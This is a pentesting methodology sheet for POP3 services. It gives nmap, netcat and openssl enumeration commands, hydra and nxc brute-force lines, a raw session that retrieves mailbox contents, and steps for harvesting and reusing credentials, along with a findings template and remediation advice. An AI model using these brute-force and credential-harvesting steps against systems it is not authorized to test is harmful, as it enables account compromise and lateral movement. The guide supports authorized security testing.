Pentesting Pop3

Pentesting POP3 (ports 110, 995)

When to Use

• Default ports: 110/tcp (cleartext POP3) and 995/tcp (POP3 over TLS / POP3S).
• When nmap/banner shows pop3, a +OK ... POP3 server greeting, or Dovecot/JAMES/Exchange POP3.
• For credential testing and post-auth mailbox retrieval (downloaded mail commonly holds reusable secrets).

Quick Enumeration

# Cleartext banner
nc -nv <IP> 110

# POP3S banner
openssl s_client -connect <IP>:995 -crlf -quiet

# Capabilities + NTLM info (default scripts)
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -p 110,995 <IP>

# Shodan-style discovery marker
#   port:110

Critical: Checks Most Often Missed

• Cleartext credentials on 110 — USER/PASS over port 110 (no STLS) is sniffable.
  • How to CONFIRM: capture with tcpdump -i eth0 -A 'tcp port 110' and observe USER/PASS; check CAPA for STLS and SASL support.
• NTLM info disclosure — AUTH NTLM leaks Windows/domain build info on Exchange.
  • How to CONFIRM: nmap -p110 --script pop3-ntlm-info <IP>.
• Weak/default credentials — guessable or reused mailbox passwords; brute-forceable.
  • How to CONFIRM: hydra -l <user> -P passwords.txt -f <IP> pop3 -V returns a valid login.
• Authenticated mailbox data exposure — RETR downloads full message bodies that frequently contain plaintext credentials, RDP/SSH logins, and internal hostnames.
  • How to CONFIRM: log in, LIST, then RETR 1 and read the body.
• Verbose auth logging — Dovecot with auth_debug_passwords/auth_verbose_passwords = true writes passwords to logs in cleartext (note for post-exploitation log review).

Workflow

Step 1: Enumerate (capabilities, version, NTLM)

nc -nv <IP> 110
openssl s_client -connect <IP>:995 -crlf -quiet
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -p 110,995 <IP>
# Manual capability listing once connected:
CAPA
msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS <IP>; set RPORT 110; run; exit'

Step 2: Authenticate (default creds, brute force)

# Brute force
hydra -l <Username> -P passwords.txt -f <IP> pop3 -V
hydra -l <Username> -P passwords.txt -f pop3s://<IP>
nxc pop3 <IP> -u users.txt -p passwords.txt

# Manual login (cleartext)
nc -nv <IP> 110
USER billydean
PASS password

Step 3: Exploit / Extract (retrieve mailbox)

# Raw POP3 command flow after login
STAT          # number of messages + total mailbox size
LIST          # message numbers and sizes
RETR 1        # download (show) message 1 — read for credentials/secrets
TOP 1 10      # first 10 lines of message 1 (peek without full download)
DELE 1        # mark for deletion (avoid in engagements unless authorized)
RSET          # undo deletions
QUIT          # logout (expunges if no RSET)

Example session:

+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
USER billydean
+OK
PASS password
+OK Welcome billydean
LIST
+OK 2 1807
RETR 1
+OK Message follows
... username: billydean  password: PA$$W0RD!Z ...

Step 4: Post-access / pivot

• Grep retrieved messages for credentials, password-reset links, and internal hostnames/IPs.
• Reuse harvested credentials against IMAP/SMTP/OWA/SSH/VPN; map topology from headers.
• During post-exploitation, review Dovecot logs if auth_*_passwords were enabled — plaintext passwords may be present.

Key Concepts

Tools & Systems

Common Scenarios

Scenario 1: Cleartext POP3 credential capture

Port 110 lacks STLS. A MitM + tcpdump 'tcp port 110' captures USER/PASS in plaintext, reused on the mail web portal.

Scenario 2: Brute force → credential reuse

hydra <IP> pop3 finds billydean:PA$$W0RD!Z. RETR 1 reveals an email containing RDP credentials, enabling lateral movement to a workstation.

Scenario 3: Exchange NTLM disclosure

nmap -p110 --script pop3-ntlm-info returns NetBIOS name, domain, and OS build, supporting AD reconnaissance.

Output Format

## POP3 Finding

**Service**: POP3
**Port**: 110/tcp (Dovecot, STLS not enforced)
**Severity**: High
**Finding**: Cleartext authentication + weak credentials with sensitive mailbox content
**Evidence**:
  - CAPA showed no STLS enforcement; tcpdump captured "PASS PA$$W0RD!Z"
  - RETR 1 returned an email containing RDP credentials
**Impact**: Credentials are exposed on the wire and downloaded mail discloses additional secrets enabling lateral movement.
**Recommendation**:
  1. Enforce TLS (require STLS or POP3S only; disable plaintext auth on 110).
  2. Enforce strong, unique mailbox passwords and rate-limit auth.
  3. Disable `auth_debug_passwords`/`auth_verbose_passwords`; advise users not to store credentials in email.